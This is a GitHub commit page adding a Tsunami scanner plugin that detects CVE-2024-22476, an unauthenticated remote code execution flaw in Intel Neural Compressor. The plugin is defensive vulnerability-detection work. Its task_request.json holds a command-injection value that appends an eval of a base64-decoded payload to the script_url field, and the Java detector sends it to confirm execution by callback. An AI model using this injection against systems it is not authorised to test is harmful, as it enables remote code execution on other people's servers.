Skip to content

Commit 16a9d3f

Browse files
Merge pull request #501 from frkngksl:neraulCompressorRCE
PiperOrigin-RevId: 646423039 Change-Id: If36af1ef15cccd4d87c907606b2ae301b6d92a35
2 parents 2d39b96 + f6418f5 commit 16a9d3f

File tree

7 files changed

+535
-0
lines changed

7 files changed

+535
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
# Intel(R) Neural Compressor CVE-2024-22476 Detector
2+
3+
This detector checks for Intel(R) Neural Compressor CVE-2024-22476
4+
Unauthenticated Remote Code Execution (CVE-2024-22476). Improper input
5+
validation in some Intel(R) Neural Compressor software before version 2.5.0 may
6+
allow an unauthenticated user to potentially enable escalation of privilege via
7+
remote access.
8+
9+
- https://huntr.com/bounties/877a517f-76ec-45be-8d3b-2b5ac471bfeb
10+
- https://vulners.com/cvelist/CVELIST:CVE-2024-22476
11+
12+
## Build jar file for this plugin
13+
14+
Using `gradlew`:
15+
16+
```shell
17+
./gradlew jar
18+
```
19+
20+
Tsunami identifiable jar file is located at `build/libs` directory.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
plugins {
2+
id 'java-library'
3+
}
4+
5+
description = 'Tsunami CVE-2024-22476 VulnDetector plugin.'
6+
group 'com.google.tsunami'
7+
version '0.0.1-SNAPSHOT'
8+
9+
10+
repositories {
11+
maven { // The google mirror is less flaky than mavenCentral()
12+
url 'https://maven-central.storage-download.googleapis.com/repos/central/data/'
13+
}
14+
mavenCentral()
15+
mavenLocal()
16+
}
17+
18+
java {
19+
sourceCompatibility = JavaVersion.VERSION_11
20+
targetCompatibility = JavaVersion.VERSION_11
21+
22+
jar.manifest {
23+
attributes('Implementation-Title': name,
24+
'Implementation-Version': version,
25+
'Built-By': System.getProperty('user.name'),
26+
'Built-JDK': System.getProperty('java.version'),
27+
'Source-Compatibility': sourceCompatibility,
28+
'Target-Compatibility': targetCompatibility)
29+
}
30+
31+
javadoc.options {
32+
encoding = 'UTF-8'
33+
use = true
34+
links 'https://docs.oracle.com/javase/8/docs/api/'
35+
}
36+
37+
// Log stacktrace to console when test fails.
38+
test {
39+
testLogging {
40+
exceptionFormat = 'full'
41+
showExceptions true
42+
showCauses true
43+
showStackTraces true
44+
}
45+
maxHeapSize = '1500m'
46+
}
47+
}
48+
49+
ext {
50+
tsunamiVersion = 'latest.release'
51+
junitVersion = '4.13'
52+
mockitoVersion = '2.28.2'
53+
truthVersion = '1.0.1'
54+
okhttpVersion = '3.12.0'
55+
}
56+
57+
dependencies {
58+
implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}"
59+
implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}"
60+
implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}"
61+
62+
testImplementation "junit:junit:${junitVersion}"
63+
testImplementation "org.mockito:mockito-core:${mockitoVersion}"
64+
testImplementation "com.google.truth:truth:${truthVersion}"
65+
testImplementation "com.squareup.okhttp3:mockwebserver:${okhttpVersion}"
66+
testImplementation "com.google.truth.extensions:truth-java8-extension:${truthVersion}"
67+
testImplementation "com.google.truth.extensions:truth-proto-extension:${truthVersion}"
68+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
/*
2+
* This file was generated by the Gradle 'init' task.
3+
*
4+
* The settings file is used to specify which projects to include in your build.
5+
*
6+
* Detailed information about configuring a multi-project build in Gradle can be found
7+
* in the user manual at https://docs.gradle.org/6.5/userguide/multi_project_builds.html
8+
*/
9+
10+
rootProject.name = 'CVE-2024-22476'
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
/*
2+
* Copyright 2024 Google LLC
3+
*
4+
* Licensed under the Apache License, Version 2.0 (the "License");
5+
* you may not use this file except in compliance with the License.
6+
* You may obtain a copy of the License at
7+
*
8+
* http://www.apache.org/licenses/LICENSE-2.0
9+
*
10+
* Unless required by applicable law or agreed to in writing, software
11+
* distributed under the License is distributed on an "AS IS" BASIS,
12+
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13+
* See the License for the specific language governing permissions and
14+
* limitations under the License.
15+
*/
16+
17+
package com.google.tsunami.plugins.detectors.cves.cve202422476;
18+
19+
import com.google.tsunami.plugin.PluginBootstrapModule;
20+
21+
/** An CVE-2024-22476 Guice module that bootstraps the {@link Cve202422476VulnDetector}. */
22+
public class Cve202422476DetectorBootstrapModule extends PluginBootstrapModule {
23+
@Override
24+
protected void configurePlugin() {
25+
registerPlugin(Cve202422476VulnDetector.class);
26+
}
27+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,220 @@
1+
/*
2+
* Copyright 2024 Google LLC
3+
*
4+
* Licensed under the Apache License, Version 2.0 (the "License");
5+
* you may not use this file except in compliance with the License.
6+
* You may obtain a copy of the License at
7+
*
8+
* http://www.apache.org/licenses/LICENSE-2.0
9+
*
10+
* Unless required by applicable law or agreed to in writing, software
11+
* distributed under the License is distributed on an "AS IS" BASIS,
12+
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13+
* See the License for the specific language governing permissions and
14+
* limitations under the License.
15+
*/
16+
17+
package com.google.tsunami.plugins.detectors.cves.cve202422476;
18+
19+
import static com.google.common.base.Preconditions.checkNotNull;
20+
import static com.google.common.collect.ImmutableList.toImmutableList;
21+
import static com.google.common.net.HttpHeaders.CONTENT_TYPE;
22+
import static com.google.tsunami.common.data.NetworkEndpointUtils.toUriAuthority;
23+
import static com.google.tsunami.common.net.http.HttpRequest.post;
24+
import static java.nio.charset.StandardCharsets.UTF_8;
25+
26+
import com.google.common.collect.ImmutableList;
27+
import com.google.common.flogger.GoogleLogger;
28+
import com.google.common.io.BaseEncoding;
29+
import com.google.common.io.Resources;
30+
import com.google.common.util.concurrent.Uninterruptibles;
31+
import com.google.protobuf.ByteString;
32+
import com.google.protobuf.util.Timestamps;
33+
import com.google.tsunami.common.data.NetworkServiceUtils;
34+
import com.google.tsunami.common.net.http.HttpClient;
35+
import com.google.tsunami.common.net.http.HttpHeaders;
36+
import com.google.tsunami.common.net.http.HttpRequest;
37+
import com.google.tsunami.common.net.http.HttpResponse;
38+
import com.google.tsunami.common.time.UtcClock;
39+
import com.google.tsunami.plugin.PluginType;
40+
import com.google.tsunami.plugin.VulnDetector;
41+
import com.google.tsunami.plugin.annotations.ForWebService;
42+
import com.google.tsunami.plugin.annotations.PluginInfo;
43+
import com.google.tsunami.plugin.payload.Payload;
44+
import com.google.tsunami.plugin.payload.PayloadGenerator;
45+
import com.google.tsunami.proto.DetectionReport;
46+
import com.google.tsunami.proto.DetectionReportList;
47+
import com.google.tsunami.proto.DetectionStatus;
48+
import com.google.tsunami.proto.NetworkService;
49+
import com.google.tsunami.proto.PayloadGeneratorConfig;
50+
import com.google.tsunami.proto.Severity;
51+
import com.google.tsunami.proto.TargetInfo;
52+
import com.google.tsunami.proto.Vulnerability;
53+
import com.google.tsunami.proto.VulnerabilityId;
54+
import java.io.IOException;
55+
import java.time.Clock;
56+
import java.time.Duration;
57+
import java.time.Instant;
58+
import javax.inject.Inject;
59+
60+
/** A {@link VulnDetector} that detects the CVE-2024-22476 vulnerability. */
61+
@PluginInfo(
62+
type = PluginType.VULN_DETECTION,
63+
name = "CVE-2024-22476 Detector",
64+
version = "0.1",
65+
description = "Checks for occurrences of CVE-2024-22476 in Intel Neural Compressor instances.",
66+
author = "frkngksl",
67+
bootstrapModule = Cve202422476DetectorBootstrapModule.class)
68+
@ForWebService
69+
public final class Cve202422476VulnDetector implements VulnDetector {
70+
private static final GoogleLogger logger = GoogleLogger.forEnclosingClass();
71+
72+
private final Clock utcClock;
73+
private final PayloadGenerator payloadGenerator;
74+
75+
private static final String VUL_PATH = "task/submit/";
76+
private static final int BATCH_REQUEST_WAIT_AFTER_TIMEOUT = 10;
77+
private final String taskRequestTemplate;
78+
private static HttpClient httpClient;
79+
80+
@Inject
81+
Cve202422476VulnDetector(
82+
@UtcClock Clock utcClock, HttpClient httpClient, PayloadGenerator payloadGenerator)
83+
throws IOException {
84+
this.utcClock = checkNotNull(utcClock);
85+
Cve202422476VulnDetector.httpClient =
86+
checkNotNull(httpClient, "HttpClient cannot be null.")
87+
.modify()
88+
.setFollowRedirects(false)
89+
.build();
90+
this.payloadGenerator = checkNotNull(payloadGenerator, "PayloadGenerator cannot be null.");
91+
taskRequestTemplate =
92+
Resources.toString(Resources.getResource(this.getClass(), "task_request.json"), UTF_8);
93+
}
94+
95+
@Override
96+
public DetectionReportList detect(
97+
TargetInfo targetInfo, ImmutableList<NetworkService> matchedServices) {
98+
99+
return DetectionReportList.newBuilder()
100+
.addAllDetectionReports(
101+
matchedServices.stream()
102+
.filter(Cve202422476VulnDetector::isWebServiceOrUnknownService)
103+
.filter(this::isServiceVulnerable)
104+
.map(networkService -> buildDetectionReport(targetInfo, networkService))
105+
.collect(toImmutableList()))
106+
.build();
107+
}
108+
109+
private static boolean checkNeuralSolutionFingerprint(NetworkService networkService) {
110+
String targetWebAddress = buildTarget(networkService).toString();
111+
var request = HttpRequest.get(targetWebAddress).withEmptyHeaders().build();
112+
113+
try {
114+
HttpResponse response = httpClient.send(request, networkService);
115+
return response.status().isSuccess()
116+
&& response
117+
.bodyString()
118+
.map(body -> body.contains("{\"message\":\"Welcome to Neural Solution!\"}"))
119+
.orElse(false);
120+
} catch (IOException e) {
121+
logger.atWarning().withCause(e).log("Failed to send request.");
122+
return false;
123+
}
124+
}
125+
126+
private static boolean isWebServiceOrUnknownService(NetworkService networkService) {
127+
return NetworkServiceUtils.isWebService(networkService)
128+
&& checkNeuralSolutionFingerprint(networkService);
129+
}
130+
131+
private static StringBuilder buildTarget(NetworkService networkService) {
132+
StringBuilder targetUrlBuilder = new StringBuilder();
133+
if (NetworkServiceUtils.isWebService(networkService)) {
134+
targetUrlBuilder.append(NetworkServiceUtils.buildWebApplicationRootUrl(networkService));
135+
} else {
136+
targetUrlBuilder
137+
.append("https://")
138+
.append(toUriAuthority(networkService.getNetworkEndpoint()))
139+
.append("/");
140+
}
141+
return targetUrlBuilder;
142+
}
143+
144+
private boolean isServiceVulnerable(NetworkService networkService) {
145+
Payload payload = generateCallbackServerPayload();
146+
if (!payload.getPayloadAttributes().getUsesCallbackServer()) {
147+
logger.atInfo().log(
148+
"The Tsunami callback server is not setup for this environment, so we cannot confirm the"
149+
+ " RCE callback");
150+
return false;
151+
}
152+
String taskRequestBody = taskRequestTemplate;
153+
// Check callback server is enabled
154+
logger.atInfo().log("Callback server is available!");
155+
taskRequestBody =
156+
taskRequestBody.replace(
157+
"{{CALLBACK_PAYLOAD}}",
158+
BaseEncoding.base64().encode(payload.getPayload().getBytes(UTF_8)));
159+
String targetVulnerabilityUrl = buildTarget(networkService).append(VUL_PATH).toString();
160+
logger.atInfo().log(taskRequestBody);
161+
try {
162+
HttpResponse httpResponse =
163+
httpClient.send(
164+
post(targetVulnerabilityUrl)
165+
.setHeaders(
166+
HttpHeaders.builder().addHeader(CONTENT_TYPE, "application/json").build())
167+
.setRequestBody(ByteString.copyFromUtf8(taskRequestBody))
168+
.build(),
169+
networkService);
170+
logger.atInfo().log("Callback Server Payload Response: %s", httpResponse.bodyString().get());
171+
Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(BATCH_REQUEST_WAIT_AFTER_TIMEOUT));
172+
return payload.checkIfExecuted();
173+
174+
} catch (IOException e) {
175+
logger.atWarning().withCause(e).log("Failed to send request.");
176+
return false;
177+
}
178+
}
179+
180+
private Payload generateCallbackServerPayload() {
181+
PayloadGeneratorConfig config =
182+
PayloadGeneratorConfig.newBuilder()
183+
.setVulnerabilityType(PayloadGeneratorConfig.VulnerabilityType.BLIND_RCE)
184+
.setInterpretationEnvironment(
185+
PayloadGeneratorConfig.InterpretationEnvironment.LINUX_SHELL)
186+
.setExecutionEnvironment(
187+
PayloadGeneratorConfig.ExecutionEnvironment.EXEC_INTERPRETATION_ENVIRONMENT)
188+
.build();
189+
190+
return this.payloadGenerator.generate(config);
191+
}
192+
193+
private DetectionReport buildDetectionReport(
194+
TargetInfo targetInfo, NetworkService vulnerableNetworkService) {
195+
return DetectionReport.newBuilder()
196+
.setTargetInfo(targetInfo)
197+
.setNetworkService(vulnerableNetworkService)
198+
.setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli()))
199+
.setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED)
200+
.setVulnerability(
201+
Vulnerability.newBuilder()
202+
.setMainId(
203+
VulnerabilityId.newBuilder()
204+
.setPublisher("TSUNAMI_COMMUNITY")
205+
.setValue("CVE_2024_22476"))
206+
.setSeverity(Severity.CRITICAL)
207+
.setTitle("CVE-2024-22476 Intel Neural Compressor RCE")
208+
.setDescription(
209+
"The Intel Neural Compressor has a component called Neural Solution that brings"
210+
+ " the capabilities of Intel Neural Compressor as a service. The"
211+
+ " task/submit API in the Neural Solution webserver is vulnerable to an"
212+
+ " unauthenticated remote code execution (RCE) attack. The"
213+
+ " script_urlparameter in the body of the POST request for this API is not"
214+
+ " validated or filtered on the backend. As a result, attackers can"
215+
+ " manipulate this parameter to remotely execute arbitrary commands.")
216+
.setRecommendation(
217+
"You can upgrade your Intel Neural Compressor instances to 2.5.0 or later."))
218+
.build();
219+
}
220+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
{
2+
"script_url": "https://github.com/huggingface/transformers/blob/v4.21-release/examples/pytorch/text-classification & eval \"$(echo {{CALLBACK_PAYLOAD}} | base64 --decode)\"",
3+
"optimized": "False",
4+
"arguments": [
5+
"--model_name_or_path bert-base-cased --task_name mrpc --do_eval --output_dir result"
6+
],
7+
"approach": "static",
8+
"requirements": [],
9+
"workers": 1
10+
}

0 commit comments

Comments
 (0)